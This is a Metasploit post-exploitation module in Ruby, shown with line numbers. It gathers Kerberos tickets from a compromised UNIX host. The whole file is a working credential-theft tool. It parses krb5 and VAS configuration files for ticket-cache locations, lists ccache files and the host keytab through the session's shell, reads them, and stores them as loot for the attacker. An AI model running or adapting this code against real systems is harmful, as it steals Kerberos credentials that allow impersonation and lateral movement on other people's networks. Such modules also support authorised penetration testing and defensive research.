Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
# Copyright (c) 2015-2018, Cisco International Ltd
2
#
3
# Redistribution and use in source and binary forms, with or without
4
# modification, are permitted provided that the following conditions are met:
5
#     * Redistributions of source code must retain the above copyright
6
#       notice, this list of conditions and the following disclaimer.
7
#     * Redistributions in binary form must reproduce the above copyright
8
#       notice, this list of conditions and the following disclaimer in the
9
#       documentation and/or other materials provided with the distribution.
10
#     * Neither the name of the Cisco International Ltd nor the
11
#       names of its contributors may be used to endorse or promote products
12
#       derived from this software without specific prior written permission.
13
#
14
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
15
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
16
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
17
# DISCLAIMED. IN NO EVENT SHALL CISCO INTERNATIONAL LTD BE LIABLE FOR ANY
18
# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
19
# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
20
# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
21
# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
22
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
23
# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
24
##
25
# This module requires Metasploit: https://metasploit.com/download
26
# Current source: https://github.com/rapid7/metasploit-framework
27
##
28

29
require 'shellwords'
30

31
class MetasploitModule < Msf::Post
32
  include Msf::Post::File
33
  include Msf::Post::Unix
34
  include Msf::Post::Common
35

36
  def initialize(info = {})
37
    super(
38
      update_info(
39
        info,
40
        'Name' => 'UNIX Gather Kerberos Tickets',
41
        'Description' => %q{ Post Module to obtain all kerberos tickets on the targeted UNIX machine. },
42
        'License' => MSF_LICENSE,
43
        'Author' => [ 'Tim Brown <timb[at]nth-dimension.org.uk>'],
44
        'Platform' => %w[linux osx unix solaris aix],
45
        'SessionTypes' => [ 'meterpreter', 'shell' ],
46
        'Notes' => {
47
          'Stability' => [CRASH_SAFE],
48
          'SideEffects' => [IOC_IN_LOGS],
49
          'Reliability' => []
50
        }
51
      )
52
    )
53
    register_options([
54
      OptString.new('KRB_CONFIG_FILE', [true, 'The Kerberos config file.', '/etc/krb5.conf']),
55
      OptString.new('VAS_CONFIG_FILE', [true, 'The VASD config file.', '/etc/opt/quest/vas/vas.conf']),
56
    ])
57
  end
58

59
  def run
60
    print_status('Finding files')
61
    files = [ '/etc/opt/quest/vas/host.keytab' ]
62
    configs = [datastore['KRB_CONFIG_FILE'], datastore['VAS_CONFIG_FILE']]
63
    configs.each do |config_file|
64
      if file? config_file
65
        config = read_file(config_file)
66
        if /\n\s*default_ccache_name\s*=\s*(?<cache_location>.*?)\s*\n/ =~ config || /\n\s*default_cc_name\s*=\s*(?<cache_location>.*?)\s*\n/ =~ config
67
          if /^FILE:(?<file_pattern>.*%\{uid\}.*)/ =~ cache_location
68
            suffix = ''
69
          elsif /^DIR:(?<file_pattern>.*%\{uid\}.*)/ =~ cache_location
70
            suffix = '/*'
71
          elsif /^(?<storage>KEYRING|API|KCM|MEMORY|KSLSA):/ =~ cache_location
72
            print_error("Kerberos ticket cache uses #{storage}. This module does not support this storage type.")
73
          else
74
            print_error("Unknown storage type: #{cache_location}")
75
          end
76

77
          if file_pattern
78
            print_status("Kerberos tickets configured to be stored at #{file_pattern}")
79
            placeholder = 'MSF_INSERT_HERE'
80
            # The krb5 pattern uses %{uid} as a wildcard. This is misinterpreted by Rubocop as a format string token
81
            # rubocop: disable Style/FormatStringToken
82
            file_pattern['%{uid}'] = placeholder
83
            # rubocop: enable Style/FormatStringToken
84
            # Need to do this two-step thing so Shellwords.escape doesn't escape the asterisk
85
            file_pattern = Shellwords.escape(file_pattern)
86
            file_pattern[placeholder] = '*'
87
            files += cmd_exec("ls #{file_pattern}#{suffix}").split(/\r\n|\r|\n/)
88
          end
89
        end
90
      else
91
        vprint_warning("Could not find #{config_file}")
92
      end
93
    end
94
    files += cmd_exec('ls /var/lib/sss/db/ccache_*').split(/\r\n|\r|\n/)
95
    # Even though our config check should preclude this, it is a default location, so checking it may find something
96
    files += cmd_exec('ls /tmp/krb5*').split(/\r\n|\r|\n/)
97
    files = files.uniq
98
    files = files.select { |d| file?(d) }
99
    if files.nil? || files.empty?
100
      print_error('No kerberos tickets found')
101
      return
102
    end
103
    download_loot(files)
104
  end
105

106
  def download_loot(files)
107
    print_status("Looting #{files.count} files")
108
    files.each do |file|
109
      file.chomp!
110
      sep = '/'
111
      print_status("Downloading #{file}")
112
      data = read_file(file)
113
      file = file.split(sep).last
114
      loot_file = store_loot('unix_kerberos_tickets', 'application/octet-stream', session, data, "unix_kerberos_tickets_#{file}", 'Kerberos Tickets File')
115
      print_good("File stored in: #{loot_file}")
116
    end
117
  end
118
end
119

120